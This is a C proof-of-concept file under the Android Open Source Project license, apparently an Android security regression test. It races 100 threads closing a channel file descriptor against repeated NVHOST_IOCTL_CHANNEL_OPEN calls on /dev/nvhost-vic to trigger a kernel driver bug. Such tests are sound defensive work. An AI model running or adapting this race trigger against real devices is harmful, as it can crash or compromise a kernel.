/*
* Copyright (C) 2017 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <errno.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/types.h>
#include <signal.h>
#include <unistd.h>
#define ERR(fmt, ...) printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno))
#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
#define CLOSE_THREAD_NUM 100
#define TRY_TIMES 900
#define DEV "/dev/nvhost-vic"
struct nvhost_channel_open_args {
__s32 channel_fd;
};
#define NVHOST_IOCTL_MAGIC 'H'
#define NVHOST_IOCTL_CHANNEL_OPEN \
_IOR(NVHOST_IOCTL_MAGIC, 112, struct nvhost_channel_open_args)
int fd;
pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
pthread_t toggle_thread_id;
static int set_affinity(int num)
{
int ret = 0;
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(num, &mask);
ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
if(ret == -1){
printf("[-] set affinity failed: [%d]-%s\n", errno, strerror(errno));
}
return ret;
}
static void prepare()
{
return;
}
volatile int target_fd;
volatile int attack;
void* close_thread(void* no_use)
{
set_affinity(1);
while(attack){
usleep(200);
close(target_fd);
}
return NULL;
}
int main()
{
int i, try_time = TRY_TIMES, ret;
struct nvhost_channel_open_args o_args = { 0 };
/* bind_cpu */
set_affinity(0);
/* open dev */
fd = open(DEV,O_RDONLY);
if(fd == -1){
ERR("[-] open failed");
return 0;
} else {
printf("[+] open OK\n");
}
#if 1
ret = ioctl(fd, NVHOST_IOCTL_CHANNEL_OPEN, &o_args);
if(ret == -1) {
ERR("[-] ioctl failed");
goto out_dev;
} else {
printf("[+] ioctl OK, fd = %d\n", o_args.channel_fd);
}
target_fd = o_args.channel_fd;
#endif
/* create close thread */
#if 1
attack = 1;
for(i = 0; i < CLOSE_THREAD_NUM; i++){
ret = pthread_create(close_thread_id + i, NULL, close_thread, NULL);
if(ret){
goto out_close_thread;
}
}
#endif
#if 1
for(i = 0; i < TRY_TIMES; i++){
/* open */
ret = ioctl(fd, NVHOST_IOCTL_CHANNEL_OPEN, &o_args);
usleep(200);
}
#endif
out_close_thread:
attack = 0;
/* kill close thread */
for(i = 0; i < CLOSE_THREAD_NUM; i++){
if(close_thread_id[i])
pthread_join(close_thread_id[i], NULL);
}
out_dev:
close(fd);
return 0;
}